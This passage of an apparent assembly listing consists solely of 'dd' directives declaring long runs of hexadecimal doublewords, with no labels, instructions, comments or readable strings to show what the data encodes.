0BF6F7741h, 1D126A38h dd 0E76BFEF2h, 0CF021823h, 0DF2F945Ah, 49FD1205h, 0D15F50A3h dd 34A53EE5h, 0E3A377Dh, 0E3208DBFh, 665C3139h, 3945D895h dd 7A9F987Bh, 621C88Bh, 790967ACh, 6F4D752Ch, 84D81BC4h dd 3A13734Eh, 512389Ah, 4A53E335h, 0D8EEF9Bh, 8B602C41h dd 98C26AC6h, 3D0B061h, 1AD92DBDh, 42C04274h, 1F352AF5h dd 12C51D48h, 4A5AE33Fh, 3DACBD94h, 0A15FA74Eh, 0A0428AE2h dd 55D6CABDh, 4B701EBAh, 54214D2Dh, 0B097DE0Fh, 26AC7B5h dd 0B807C8C6h, 44F56DA8h, 26512566h, 0B5CBDEFCh, 300E096Eh dd 0C8041F44h, 8654FC81h, 151508ABh, 0F408FCADh, 0FACB3E00h dd 0D1EBB09Bh, 9D3D24BCh, 0F2CE0BAFh, 9CCF0474h, 0F8253290h dd 46D613FEh, 0DDFA4A1Ch, 80C52C3Bh, 0F20C8C7Ch, 76B325B9h dd 2BED9857h, 534D5BBDh, 0B26FEA9Eh, 0AAF1926h, 4BA1D99Dh dd 0EAC2A409h, 0F84BDB55h, 0F305E0B1h, 1D96A7E4h, 0D35ADABBh dd 0E3A8AC70h, 0CA3927EAh, 0DB129358h, 0F7F89602h, 0A044BE17h dd 9F4FA53h, 2DF18515h, 98049364h, 8BAA1005h, 0B74A5631h dd 830F85A1h, 252CE66Ah, 5A3D54F8h, 0A5CB287Dh, 1F3C00DEh dd 7088DAF2h, 8BB69637h, 0D0D4DC43h, 0A1B15A3h, 3C7276F7h dd 3FFE2784h, 1E6629DEh, 21D94299h, 1733857h, 1751258Dh dd 46DEC3FCh, 0B66D2414h, 73076709h, 181459E3h, 8FE1B5E9h dd 6EA62A2Ah, 638A2600h, 0AB359F5Eh, 682DBF00h, 0EC594811h dd 16A10636h, 3E52F751h, 5B834567h, 45FD7119h, 0B404A788h dd 7F0B52ACh, 0AC540773h, 9B1A6560h, 41DC0990h, 1956B2E7h dd 0B866D601h, 0EA2D4A01h, 0DE2D844Bh, 0DC748082h, 1756B805h dd 83142CB1h, 0ED85C6FDh, 9B7BCC0h, 0A2FE4AE8h, 0C16B5179h dd 0BB041E35h, 411288h, 0B2660134h, 78DF7C53h, 24F2F901h dd 91CBEB32h, 255FA560h, 0AC70F1E9h, 70D3797h, 0C0E36291h dd 6D7E2DCDh, 880BCA2Ch, 36C8DF39h, 0A6C716EBh, 48BB8018h dd 5B9F0C39h, 8EE7781Bh, 0BAF884Bh, 0BDD706FEh, 1FCA2FAFh dd 0B248A90Bh, 5B975940h, 3EADD0C2h, 5E45509Fh, 4334A71Bh dd 0CCF15ED6h, 0D2E4E27Eh, 1C56ABBh, 6F3F3B1Ah, 19100AE9h dd 2201DE1Eh, 329A3DD3h, 0F820F0B1h, 0B73AE1BDh, 80FFA56Dh dd 0BA54DE39h, 97E4A20Dh, 4A784A70h, 0EBC08BC0h, 1B262BF4h dd 0D409AFC3h, 68C800B8h, 366B247h, 5F4F45B1h, 19D8BA77h dd 557ABC4Eh, 0F1470B00h, 0D2FFEE52h, 866501D1h, 9D63C5E0h dd 35A5E8AAh, 0CBC13D00h, 1A52613Eh, 18EF77A3h, 28E8AC8Bh dd 9100E35Bh, 0A7E6DC77h, 1F7EA7Ah, 0F90BF062h, 0D05C051Bh dd 6400392Ah, 0A44FAA6Dh, 50F0DEEh, 632FE89Dh, 7078C6F0h dd 3800E5F0h, 3F4EB360h, 6646ECC1h, 21DA0827h, 60300801h dd 0AA8B36D7h, 58CB8180h, 0DED996C9h, 0CE76B603h, 0A7F53808h dd 1C39D406h, 8069028Ch, 0E9C7BAB1h, 7209AE81h, 80046037h dd 26382413h, 7632306Dh, 0A2E68CA0h, 65CCC50Ch, 0E807699Dh dd 0A08B301Ah, 88B5BD11h, 84263E01h, 0AC1E67E9h, 21B60898h dd 8839BDE2h, 0B23D0747h, 5AA1BC83h, 0A040C44Eh, 0EC1B2805h dd 0E4AE30D6h, 700F1E68h, 0A537C81Fh, 0E85AF606h, 1C78C818h dd 3C88B7C0h, 22944626h, 0BFE40AB3h, 2DE8088h, 0FD4AD650h dd 5258248Ch, 0E228FE40h, 519700B0h, 0EADDED7Dh, 0F008C48h dd 1F6FD131h, 39E458BCh, 9187D8AEh, 91F8714Fh, 0F8B029F3h dd 1F007387h, 9EEAF432h, 1DAFE0ABh, 898DC0h, 9AAA592h dd 371FF51h, 0BA9B60Ch, 0C09008F3h, 5101C821h, 0D7008D5Dh dd 0EF88E322h, 888C349Dh, 0B004C03h, 0F4B58DB7h, 4385D30h dd 0B68C1E1Fh, 6681EB94h, 0D3A87Ah, 72D1C530h, 0D3D62EC9h dd 0CE269619h, 2180B908h, 9472D9E8h, 0A600010Bh, 0DB6F2A55h dd 6C7AAB95h, 0C1C0700Ah, 0E051F88Ch, 800B4303h, 0C45102C9h dd 0CB9A0072h, 0F4C589A2h, 86735926h, 0B40F6C05h, 6807ACBFh dd 649198Ah, 11B28Dh, 0D068C8CFh, 8EC9C638h, 8D63037h dd 0F1216Ch, 9EBD68C0h, 2B648B45h, 7A63A0Fh, 0AE5838A4h dd 88FE5427h, 95F3C63h, 4475F482h, 9C87A52Fh, 97D841F8h dd 0AF508091h, 949FFB2h, 0AEF9061Bh, 8E913B3h, 0D0218660h dd 38FC49F7h, 82B80BC5h, 0B8D5E218h, 64301FA4h, 523A7884h dd 0ED7E0790h, 8196E3B0h, 0C4723F20h, 0D9ECA826h, 3DFA8600h dd 5CF17001h, 2D54004Fh, 931AA4ABh, 210E908Dh, 81EC2Ch dd 0E47B6DCBh, 439100A1h, 0D8C595A5h, 0FDFAD974h, 0C1908E98h dd 0FC6AE91Fh, 0BE7780BDh, 6511C520h, 0C17800F6h, 0EC1C66B1h dd 58004840h, 3660456Fh, 0F6C815h, 2F545C27h, 0E9823D75h dd 2B5ABA1Fh, 16724FC0h, 31149B7h, 0D4AA7E09h, 2E80BECBh dd 0DD007D27h, 0D6C3AFD2h, 183C23A3h, 3933F740h, 8C348CDh dd 98699C24h, 7DAD7D37h, 0E14700CAh, 0B4031650h, 0EB1FD548h dd 0C1C0D3F0h, 3D0B3BF2h, 0E5F30C49h, 5F401625h, 1E3FA18h dd 64182D18h, 404A614Ch, 0FC87C1A0h, 0D82C0148h, 834ECF18h dd 30CA8003h, 9957B02Bh, 7EC11E39h, 39BD18D2h, 7A6FA636h dd 7FF00008h, 1DD375A5h, 3BCB44EDh, 0A7AA2C83h, 9BF8AC54h dd 0D005715h, 823BE2F3h, 457560h, 0FCA538F8h, 7E8A7198h dd 5185A630h, 129A67h, 0E1B8BD78h, 83CB9F2Bh, 2FFFEA01h dd 3292E7ABh, 0A0A3C6F4h, 185BCCF3h, 99421E20h, 273FDA60h dd 0D0FB0089h, 76C8CE9h, 81A100A7h, 0F310F99Bh, 0C9C737CFh dd 83C8CA45h, 6A1FE3FDh, 0C9AB4900h, 0C15748D3h, 6CCE17E8h dd 40B71E2Fh, 0B0AACD78h, 0E53CDB71h, 8C00F0FBh, 0BC96FDCAh dd 4A6177h, 8D43A12Bh, 525BBE60h, 335C4800h, 244ED0DEh dd 62B70F97h, 80BEFEBBh, 9BE7A855h, 0DD00E1BAh, 328404Eh dd 0A590D6h, 220B048Bh, 1EADF248h, 4F1D590Ch, 183A5058h dd 3042B5A9h, 0B200A047h, 77758714h, 3DCE760h, 15C98D53h dd 0BEE82034h, 1D20F93Ah, 1365F852h, 7429930h, 80CA15B4h dd 0F89808CBh, 0F930A9F0h, 99D12846h, 0C9B901A2h, 941B3769h dd 0B1208CBDh, 601149ACh, 0AFD3196Bh, 121F769Dh, 844E4E2Bh dd 326A6685h, 3A5C72C0h, 383CB0A9h, 6C3D200h, 18524F2Ah dd 646258h, 4F8FB93h, 3EEEF69Ch, 0C83A1485h, 86009E3Eh dd 0DB6A7305h, 9A0320C2h, 65A18215h, 1FA7F0C4h, 0FF520CF2h dd 0D910F1F4h, 6639A607h, 9BF1E561h, 0A3E7AD76h, 382100CFh dd 0CBC7C6BFh, 0AE027573h, 0A1E34EF6h, 787900F9h, 0C3039EA5h dd 0E13AD695h, 0A784990Ch, 0B4110300h, 0F43020F8h, 8E9751FEh dd 3C260FB7h, 0A5606E2Eh, 0FA20C5A9h, 2C821428h, 0C049A9C8h dd 616539ABh, 0F522BD46h, 0C6C43700h, 950F3C87h, 0A9EE0156h dd 527985BCh, 5A047D9h, 0BB900E8Fh, 0F2807143h, 11F93800h dd 5933DA5Dh, 33FDFC77h, 4084770h, 54AF2107h, 42C18ADAh dd 0C1219817h, 0E0672D20h, 0EE8E3028h, 3C7C90B8h, 0EFF8A70Eh dd 3A048261h, 9B84A086h, 3AAB762h, 0EDDC6303h, 8315B78h dd 6A462194h, 3AAE7320h, 993F7681h, 482B7C9Bh, 0B1345810h dd 9CE70E00h, 32BFF75Dh, 8567D00h, 2D3849AEh, 75C300A7h dd 53CB4D5Eh, 0F5009EB5h dd 6DA0CE7Eh, 0B6D506h, 0E22AA529h, 9D858938h, 34E9AB39h dd 42B1199h, 8692F1C3h, 0C8D91003h, 0D071266Dh, 940960h dd 3768C38Eh, 484DBC95h, 981A3300h, 0DF08A59Ch, 664000CAh dd 7F9D6355h, 790F8771h, 0C01913DBh, 0F402FCB9h, 150B167Eh dd 0D6FF007Dh, 0DD4CDC18h, 3EF63900h, 0B80597EEh, 0E2121CE5h dd 69B90AF4h, 85570028h, 2315A98Bh, 0C4B1D400h, 12E6026Ah dd 0C6250030h, 6697DF4Eh, 481618EEh, 72001689h, 365814E7h dd 85061DD2h, 0E7E8077h, 7C9FD953h, 0ECF5C2CFh, 5A1C1Fh dd 56B263CAh, 0E1B72DCFh, 0AA301600h, 202B1A76h, 44C700A4h dd 0CA96D963h, 0D001B8Ah, 55B1ED24h, 485AAA0Bh, 5D00EBFDh dd 8540E234h, 0CF00DE6Eh, 6DE94C5Ch, 72ABEh, 0A3365490h dd 0AEA1E844h, 0FC8CA5Ch, 0A0E94316h, 0F60D92E0h, 229B3B5Bh dd 0BF8108Fh, 5ABC6CE0h, 0F900146Dh, 8C0A662Eh, 0AE8F98h dd 0B73A9A26h, 0F7FA0CC5h, 9E0E3E00h, 1067369Dh, 42240148h dd 0EBD0EAB5h, 4139FD5Ch, 705537F4h, 5E14FCB5h, 8CAC53h dd 44B9FB7Bh, 0F289B0h, 0C316DFA2h, 530DC627h, 1496A424h dd 69890C80h, 9837B193h, 3FC500F1h, 5F623683h, 400734A2h dd 56FF4A79h, 0C09D0160h, 0FE29ECE9h, 0FD911E33h, 4F868A6Bh dd 66E581C0h, 0E8727FABh, 0C00DA74h, 1B2A8FA7h, 7958526h dd 0BD1701AFh, 41C1D09Dh, 0DE01897Eh, 0F7312883h, 0C6F42FE5h dd 5FFE0337h, 0A5E41E11h, 9C853FAAh, 87A61FD8h, 5044B13Ch dd 964BA8A7h, 80C8C700h, 76408C79h, 21581EA2h, 0AA4ECFB1h dd 0B84108C1h, 0D3A19255h, 9DB02C21h, 0EA279670h, 9F151F61h dd 0BC498143h, 8092E5D4h, 0EA1D1031h, 0A653AA3h, 0C0BD51B0h dd 730E08A0h, 66898280h, 63B71D4Bh, 0A470A83Ch, 0AF57A2A7h dd 0F0811C40h, 5AE15C00h, 0B3CCFFF6h, 0F1DA3A9Ah, 0FC2B3600h dd 24BAD464h, 5ABF4D03h, 0EABE9F35h, 56B88057h, 13F12B6h dd 2BEE6C78h, 0F0D87529h, 0CB49B01Fh, 9D0074F4h, 0B7685F49h dd 1AE8528h, 9BD0741Ch, 0DCAB0D69h, 8948A348h, 0F48000CAh dd 58445B45h, 13B02475h, 68BF011Fh, 609C6427h, 7850A678h dd 98014BE0h, 0F2624F23h, 1C303BBh, 418848E1h, 20A804E1h dd 0FF04E783h, 46383BA5h, 0A9124C85h, 542C4043h, 0F0E5D09Dh dd 0ACD600BEh, 51999E7Ch, 0BC01C952h, 74D7D165h, 0DE70F489h dd 0A943002Ah, 569971CFh, 92002EDCh, 63D39BD1h, 5CB0037Dh dd 3107C280h, 30904766h, 0CFBCA8Bh, 8EE6C500h, 0EC0E879Dh dd 0E7EE3Bh, 0E89B8039h, 0CFB2AF09h, 6BDC3D03h, 0C0314277h dd 7401F71h, 473613D3h, 0E9D4A06Eh, 0B60FF011h, 20A92A23h dd 0F6D393E8h, 0B1F10048h, 520C6854h, 445C8473h, 0B71C04F3h dd 0AC8118E2h, 0EEB0BCFh, 0BF77DA4Ah, 8084C6EAh, 0A17B4311h dd 9300E316h, 0D526CDF3h, 0B8A3509Ah, 0C42F00E9h, 23CCD38Dh dd 750001FAh, 0EC72B242h, 98950A49h, 0F03303D4h, 1A93C937h dd 0E0AF27D1h, 0D300DF86h, 2FB66114h, 43C3BDh, 56A87277h dd 5DE8FF80h, 25328E00h, 0ECF5CE4Ah, 4ECCA8DCh, 0AF88A079h dd 0BE0104F9h, 0C0E7276Fh, 15E4D1D8h, 45F10907h, 7F6158CBh dd 0DCF0B348h, 0E86401CDh, 0B65EC3BEh, 200DED74h, 0B5001B34h dd 6A8EA272h, 3E7A5693h, 94804677h, 0B6601E5Dh, 0B02F763h dd 4012887h, 185C48DAh, 0A1D7CCEh, 5CA9EDBCh, 663B808Ch dd 0BF0365DFh, 94D62509h, 1168809Ah, 0A8EBC6h, 400AF0FFh dd 0DD3403E2h, 65F435FAh, 12D9473Dh, 100E567Ah, 755A8037h dd 2C022h, 2CC72F67h, 0A321E140h, 99BFCC00h, 84707E2Eh dd 6EC1008Eh, 2FAFD4D8h, 5A7061A8h, 90CFAE0Eh, 5916204Ah dd 3FC71B80h, 0A08FC23Ah, 28CFFB3Bh, 806A4D47h, 3E4E6C8Ah dd 25A43300h, 0D979B026h, 0A59B008Bh, 0E175AC47h, 60030E7h dd 4417CFF3h, 13D9806Ah, 0DBCBE6h, 59DC7FE5h, 0E003DF8h dd 6C9854FDh, 0BB7BD6h, 581F3248h, 7C2CE531h, 7A871103h dd 0B09B35BDh, 0D6F20Ch, 0D35B0BF3h, 0FBDBA524h, 81979A2Eh dd 84AB1100h, 0A0CF65h, 0D5DF94F7h, 0DB742BD3h, 3ACDDA00h dd 59E30DD6h, 0A09E0041h, 8453804Ch, 200DCB9h, 0E0428123h dd 3BA53609h, 0F801D0Dh, 2EA15020h, 0EF499DF4h, 0C0C91288h dd 0E81FE00h, 0FE63998h, 321687AEh, 67886580h, 4B009128h dd 1007C580h, 0EA5775Ch, 0D5D1BA12h, 1DAE3B40h, 0FF12B72Eh dd 98408D78h, 0C2962467h, 4DE82EF4h, 34638068h, 0DADFCF81h dd 7C70900Ah, 65009C2Eh, 35C17495h, 0FF5505F6h, 0BCD0D550h dd 0BF920737h, 5EB014F7h, 7FD47696h, 0AC565461h, 232E09B4h dd 0B4209094h, 0D61EB6BFh, 8CDB6307h, 1610BD75h, 0FB9CBF7h dd 3B8079D7h, 0C654E700h, 967F56E6h, 0FABBD312h, 0B52D6900h dd 604021C1h, 9DD1B097h, 0A322069h, 1AD1166h, 31914B0Dh dd 1720806Dh, 1CB99515h, 2B5395Dh, 70F154B0h, 98909B88h dd 3EB71E58h, 0B08D81CFh, 14BCB544h, 0CD203881h, 46E34h dd 0C8E8FEh, 678F8803h, 89B33E85h, 145F5700h, 0DDE76D4Bh dd 9D7C0036h, 88159483h, 2A007E25h, 9526901Dh, 27BF6Ah dd 0F1B68A1Eh, 6CC40A87h, 98050272h, 0A7311B01h, 0A3CFFFC0h dd 0DF500027h, 4AE58F87h, 0E8F47590h, 0E9946216h, 52397401h dd 0E9607E1Ah, 590C0393h, 654A1656h, 8ADE14D0h, 83904F00h dd 49E8599h, 0B9393072h, 7A0538F2h, 1C8BA901h, 953B7145h dd 3612A050h, 0E50CE9Eh, 8A3C98C0h, 0E43FFF9Bh, 0CABB86BCh dd 520C982h, 59480D85h, 0C7203CB4h, 72023E46h, 3BA1B289h dd 6E18C0A0h, 5DFAAE44h, 0B99C690Ch, 0C05C0855h, 44667921h dd 3F00C9F1h, 9013D63Dh, 1B9B706h, 927B70E7h, 349F2A51h dd 7E7EE1BCh, 4A375401h, 94901B86h, 70BEE09Eh, 28BD3251h dd 31034873h, 0E1CD3BDDh, 0F1A5E077h, 9C9A84h, 6AFBD565h dd 9535250Ah, 34DD021Dh, 0C6217318h, 3FB76AAh, 12521637h dd 0F00192A2h, 154F9DEDh, 28879C66h, 0CA42020Ch, 2AD303B8h dd 28406AE6h, 8944A1C4h, 68093098h, 86C61EC1h, 360C8C7Ah dd 189D82FEh, 6E12180Ah, 1A3B30A2h, 48F66A30h, 11799DBh dd 393F8F89h, 11942D66h, 7A70A1F9h, 0B58D3C1Eh, 8951699h dd 0D6219E6Ch, 4BEDD487h, 1174EA30h, 0A3F01DE1h, 0EB6004Fh dd 5778C21Ah, 0A2D89A53h, 0D82B3062h, 973FB1Dh, 120C98C1h dd 0C08AAFF2h, 11B8D9FFh, 0FBAE808Ah, 43AD0A6Fh, 77A2234h dd 1BFBA7CFh, 0C0E77441h, 1EDD9613h, 12947950h, 0D4804506h dd 6308293h, 0F0A8857Fh, 0A9F09094h, 9F54C004h, 0FDC1A11Eh dd 898C916h, 0B85021ADh, 3900A3B8h, 4001783Eh, 912535Bh dd 3B5EDE1Ch, 4116A000h, 4E8A360h, 0F7069815h, 0D5800CA4h dd 0F1C4997h, 1BA3B1Ah, 0EC3A94BEh, 153C2210h, 1F9051BEh dd 9307CEEDh, 81C0537Bh, 10273F7h, 9069DCF1h, 0A0889C1Ah dd 0B646BC28h, 0D2446A02h, 751C7DD1h, 56440095h, 0BC5E9AB6h dd 4090A281h, 8980BBF0h, 520E1894h, 0B8AFD065h, 0A18F0101h dd 99AA124Fh, 2E105822h, 3A244846h, 3C6F7C9Dh, 44894898h dd 446B60B3h, 5D123D3h, 76004611h, 2B174463h, 0BA352ADEh dd 5808183Ah, 0D4A0C059h, 95461EBDh, 0D9169122h, 5B00D488h dd 0C68C1978h, 6CDE12E5h, 8A940C9Bh, 0A50072C1h, 0B39227AEh dd 7C0522DFh, 82961973h, 18B5B8DBh, 0D1443861h, 5D1155A3h dd 44597803h, 8F82E81h dd 0CF024283h, 1F260DA1h, 0CEAC8047h, 18369FB0h, 0A9950F98h dd 0A549F0A9h, 10390008h, 1237AC82h, 0AE7F67D1h, 0BE78F004h dd 0DE7D359Ch, 214E93Eh, 0E6BDC6C7h, 8868418Ah, 0BA3E43FAh dd 43704C8Ch, 1A9238Fh, 1EA054BDh, 23E619C9h, 4CD8B549h dd 0E418E3BCh, 4719A4F1h, 0C088007Eh, 571A74C1h, 593C50CBh dd 1CA301C5h, 3FF014D6h, 9047C8E8h, 0EF735880h, 22066C50h dd 4E4438FBh, 0ED9A008Bh, 19CF3B21h, 0B0094BFh, 7742E63h dd 0C4373102h, 8182D340h, 39B68Ch, 5106C5FEh, 845CE463h dd 0F9389170h, 4CCE1964h, 20CA4570h, 48C883Ch, 0A61FBD0h dd 218162DDh, 0C4FBA9C5h, 27020405h, 5FED97EBh, 804602Fh dd 0F8D649D4h, 0F828B04Ch, 966D448Ch, 509ACD26h, 1377FE8Fh dd 0A9F6E421h, 93E8B800h, 33035091h, 2861650h, 8044DA79h dd 344C7E6Eh, 13DC7309h, 0B5100043h, 1390C9D5h, 3E89F01Dh dd 632318h, 0BC101B29h, 0DB04F2BBh, 9EF1B12Eh, 0AA311090h dd 0A69D011Fh, 0C60E39D9h, 9EF0FD05h, 0E46404E8h, 9E606344h dd 1E7EBBD4h, 0DB68448Ch, 94D48600h, 6AB8F91Eh, 0A0312875h dd 9AF13088h, 0A4F6A179h, 8123513Eh, 6A40629Eh, 5C8080Bh dd 4362431h, 52B1110h, 956ACAD3h, 28208886h, 828C6438h dd 0F08C05B3h, 2F2D6800h, 81440h, 1B23D978h, 0A46D7554h dd 63A380C3h, 1A9A62Ah, 490F232h, 406E7BE6h, 861841F8h dd 4342F898h, 2CC2DE09h, 8119A880h, 20C8AD93h, 0D61E82B3h dd 140A29D2h, 35B08C84h, 8BA78060h, 51720C0Ah, 6491849Ch dd 56DE4606h, 0FC244062h, 0A411FCF8h, 0A354BC80h, 458CC11Eh dd 0ECB4F9AFh, 7201822Bh, 94066E44h, 18238EBEh, 6F01BF23h dd 65D1AF44h, 7A80C473h, 974E4467h, 0E724657Dh, 20247B4Bh dd 0A074AC27h, 0BA048CA6h, 0D11EA154h, 5623AC62h, 3568D9B2h dd 3F598E4h, 0C5EFF950h, 1090B51Ch, 0FD52891Eh, 3047E254h dd 7704BDF6h, 92C61CF8h, 0DE1AA4D0h, 9D94009Bh, 0C1CE0283h dd 0D0F985CAh, 5670AD64h, 0E1A841Dh, 3305C4A8h, 3ABE42D8h dd 10298880h, 9D480714h, 21130291h, 0B3C8F2A6h, 0E62A3440h dd 0FFC1D58h, 0EB9AC014h, 0D43BBD35h, 4A90EE3Dh, 0E429404Fh dd 0D8A0804Ah, 0EC8E5D02h, 91E85324h, 0D6B80C5Dh, 60AC6817h dd 0EBEC0CBh, 890373Eh, 887152h, 0B033C04Fh, 0E3209D6h dd 401C789Ah, 181DF949h, 8380A111h, 228A9F0Eh, 0B701C898h dd 7204EF44h, 0A89E9805h, 1484FF38h, 0C05596BEh, 6E9989DCh dd 0C0D64FCh, 1294C059h, 0D2068040h, 41028116h, 609EEEBEh dd 0AC1E3470h, 968C14A0h, 79992028h, 0A4B52984h, 0EA28EF20h dd 0D01B3CFh, 3E6547FDh, 99E04436h, 484C2E0Dh, 2E372228h dd 252822D1h, 1140A82Ah, 446C80B4h, 8C6DD1ACh, 7B6544h dd 472E4464h, 34E60E1Eh, 0F436C0C0h, 3AC5B8AEh, 0DD80028Eh dd 0A9945D8Ch, 9971786Ah, 6E892808h, 359DBCC9h, 0D55B027Eh dd 0B48A7192h, 75E50053h, 0C5B004E0h, 18523A31h, 649C061Ah dd 828BE9Fh, 4A26209Ch, 620AD480h, 88E8768Bh, 2C0512CDh dd 0B5934CDFh, 97EA3481h, 76596820h, 0A7092620h, 19609148h dd 0FA28867Fh, 1A030E08h, 9B915F1Eh, 82F68888h, 9C78CB2Ah dd 0CE098802h, 2D621C28h, 0C4ECE6C7h, 839284C0h, 9821A9A0h dd 0E5B0052Eh, 14F4D07Eh, 21D08549h, 8877A85Ch, 0A5000C62h dd 0ABBF6089h, 0B8D0AD3h, 8FFEF8C4h, 0B8D8F410h, 0E800484Ah dd 0FFB02082h, 1C4A0744h, 7C2A917Eh, 0A01C4B1h, 0F319781Fh dd 8EE80CB9h, 3957E859h, 98B2CC8Bh, 44442A28h, 5BDB8807h dd 0C3CFB304h, 0D0FF8D08h, 33BAC20h, 90D8BDD1h, 7822459Ch dd 421C00DBh, 0BA68A2D3h, 9550FA5Eh, 0EC45BEA0h, 40693820h dd 4504718Ch, 34106344h, 384C58DAh, 87798734h, 8D18528h dd 5CA4E024h, 0A5AD006Bh, 9416C59Eh, 11730048h, 0A36F8651h dd 4E3B7039h, 96407444h, 8BAC0816h, 6CFBAFC0h, 22D5460Ah dd 0A4C40073h, 0D20152FBh, 0BA49CABBh, 0D4C040B8h, 20A85C94h dd 0BE1E10F9h, 0A88B5D2Ah, 0C08E422h, 39A4ADEAh, 70A56901h dd 0EA8E1148h, 2F037451h, 0A00B1CA6h, 0A7232h, 0B2651B3Dh dd 2B2273E5h, 0B609CF00h, 364C1C59h, 699512D2h, 8850CB3Eh dd 6414C068h, 0C09BF86h, 0C8A01A12h, 80E282FCh, 8C179690h dd 9C081BB5h, 0D4A3C064h, 9D461EBCh, 8BFC6B22h, 0F104F7E4h dd 16FE1E7Bh, 0F0D12CD0h, 0E9DCA6h, 660C4BA5h, 46007D2Eh dd 1EA2D42Bh, 0F6EA0E40h, 1A0A1649h, 9F0080DAh, 0E5064514h dd 90AE22D3h, 501F25A1h, 0BC9F6C69h, 22620059h, 0E83F03C8h dd 8EE60B12h, 8087511Ch, 7426E87Ah, 3921803Ch, 2E0E9C89h dd 0AE18C04Dh, 297DD7C3h, 0A476652Eh, 20434205h, 0B51CF408h dd 494718D0h, 0DD09BDC0h, 1D9EFA14h, 8B79112Ch, 3084425h dd 523673B3h, 59F8272Ch, 925720Fh, 0A00C845Ah, 5102454h dd 221B0592h, 926F42h, 0C0D48FD6h, 906B2384h, 94EB1E48h dd 221CC44Dh, 2AE8F0BEh, 82719E60h, 17C1733Bh, 0A727E2h dd 42145A00h, 1A24319Ah, 3FAC7402h, 0C45CC800h, 0EB12501Ch dd 18841C34h, 88B8D94Ah, 81201ACDh, 822D30C3h, 5463D661h dd 0EBE32E00h, 0DDCC156Fh, 4ED30A60h, 0BFA893F1h, 0FD9B2001h dd 61AFC76Fh, 105872A8h, 0B1074932h, 0A2A3F6FFh, 0B484760Ch dd 0FBD16089h, 0C50A256Eh, 0C2008C96h, 4588FBA6h, 86FD49Ah dd 0E2965DCh, 69B80F00h, 280BA3Ah, 0CACDA05Bh, 0D860C452h dd 6C7B020Eh, 0C00018B0h, 39E70405h, 697A0644h, 44009819h dd 29972AD6h, 410235F0h, 0DE89D0BBh, 4A4DE185h, 0A8915DF0h dd 0C0C3F590h, 0BB436C58h, 840086FEh, 1C451FB4h, 0B06E79A6h dd 0A2F8C41Ch, 0FC061F46h, 0F2C972F1h, 0BD6700C1h, 0FA2A11EFh dd 0BE009709h, 1F3AE044h, 1F162D48h, 40A45CF3h, 1EA56C89h dd 824C31A6h, 0D72D7244h, 0DEDC109Bh, 7670C037h, 6FB35402h dd 871BCA2h, 5EF67B00h, 0B0B97EC2h, 0B873DDh, 0F270ADCDh dd 3A79530Fh, 98034B01h, 0CEA224D8h, 0B5893989h, 5FB28083h dd 0C616000h, 301653F5h, 6FF20724h, 10A27380h, 0D0B9C5A9h dd 0D7DEFC0Bh, 10500C92h, 0F8B6144Ch, 0E900D09Eh, 3D1E0EFDh dd 986E2D9Ch, 1D00B6C1h, 9BAC6E24h, 3E570002h, 9E680BDEh dd 0B5172B16h, 2804FD41h, 14C295F2h, 12312137h, 27034C2h dd 32508E16h, 2CB06414h, 880068EDh, 63E67090h, 3477C40h dd 0C22F9F7Ah, 1143E0F3h, 3E63B004h, 0CD10C048h, 226D1DD6h dd 9CE280FCh, 23479800h, 44C53F87h, 8D2900DDh, 78AF09DAh dd 0DF005367h, 0B44BCE22h, 2CACAA6Ah, 0CB5019h, 2BB6B193h dd 490011B3h, 0D2381DC9h, 609D7044h, 4F323EE2h, 20364C6h dd 5C4C8C05h, 7FADF8CCh, 0D943006Eh, 0FAC2747h, 6801A0CFh dd 0CC8721CBh, 0EAD40217h, 4DA500FDh, 6AFED5D1h, 93FCE61Fh dd 3387F603h, 0E31AC773h, 0ADE3802Bh, 5F89024Ch, 0E48EEE78h dd 0D3E0A340h, 0C4FC0700h, 3255D8Dh, 2AA726F2h, 82003D53h dd 99E21A84h, 0F801B9E6h, 26B2DDD8h, 0CFC014DAh, 18E50091h dd 96090B67h, 0F9008798h, 7E3E043Ah, 71311Eh, 541BDE4h dd 60BED420h, 4B90287Eh, 0C5D7FC00h, 24FA2608h, 3607029Bh dd 2D896981h, 982962C1h, 46F4E7F0h, 7AD377FCh, 0D85D55EEh dd 79F680CCh, 64693EA7h, 2D538E00h, 0CF0E37C4h, 0BFCCEC00h dd 25A2E978h, 8E3501D7h dd 1E5CE13Dh, 0B2F85071h, 0F97684DCh, 5006DD00h, 0D2178719h dd 377F53h, 47E97F79h, 73B99E43h, 21D75F00h, 9D405B45h dd 90DD00BFh, 0C08CB432h, 9C0E9AB8h, 60532E1Ch, 7AB34C27h dd 0D5330E4Ah, 0E4870AFDh, 0E0E94741h, 0DF114606h, 43249300h dd 99EC49C5h, 5C23C8Ah, 17C1F100h, 0ACA5978Bh, 4D4AC900h dd 1AA2E5B8h, 4F18004Bh, 0FA854183h, 0AF00C448h, 44C603E0h dd 678BDB5Bh, 2C6820A4h, 0A70114A8h, 0A541E0B8h, 67F46419h dd 4D8707B1h, 0F09CD72Ah, 94A0FCCCh, 0A9626300h, 7D3E03F4h dd 0A3D306C1h, 4882872Fh, 49CB3000h, 9B170895h, 0F7633EC7h dd 0D3D4FE89h, 6F69C20h, 2600B535h, 62B92E59h, 1579145h dd 786BA203h, 0D7864E22h, 0C5EF9900h, 0B92DB6DCh, 436F0121h dd 0A6D78A47h, 0E275F4ECh, 7B3B7609h, 0E44C005Dh, 700EADh dd 9669873Ch, 0E9F802C2h, 4EF1BB04h, 1480351Eh, 377B9Bh dd 0D9DF9ADDh, 3EB81C97h, 5B421A0Fh, 5617A1A2h, 0B8881826h dd 9A88A490h, 52154379h, 18AC5DC8h, 90016300h, 0E52702FAh dd 9C091EB3h, 381FC0E1h, 0CE3F613Dh, 5F48E301h, 8B4228C1h dd 7CC480FEh, 1B61980h, 93A87081h, 20165B15h, 0B400D194h dd 22D94B11h, 245CC7B7h, 80444C6Ah, 8B0E64D7h, 230EE750h dd 0C04D6699h, 37896B34h, 26740103h, 61DA5260h, 6DE8C40Ah dd 7C95400h, 0F9B549D1h, 5575007Fh, 5DBA9ED9h, 6F001F5Ah dd 97BBEF2Ah, 0C18B208h, 9D75E26Ch, 26008520h, 1FF0C9CBh dd 79246Bh, 34732901h, 4D323CD7h, 0DCA07000h, 0A3FEB51Ch dd 2A440015h, 0BD029C27h, 0B360E95Dh, 4098F18Ah, 0BC6839ADh dd 84B9D182h, 2848041Ch, 2301FD22h, 17313557h, 5AD4D991h dd 0C5FE00ECh, 0D5C8568Dh, 0F81C8748h, 244A04D7h, 34018844h dd 182935C3h, 56B2E080h, 0F5C23DDDh, 0E3A41A12h, 0AC6CF040h dd 1DB997C7h, 864402A2h, 0E07E8B9Eh, 0DE4E3Dh, 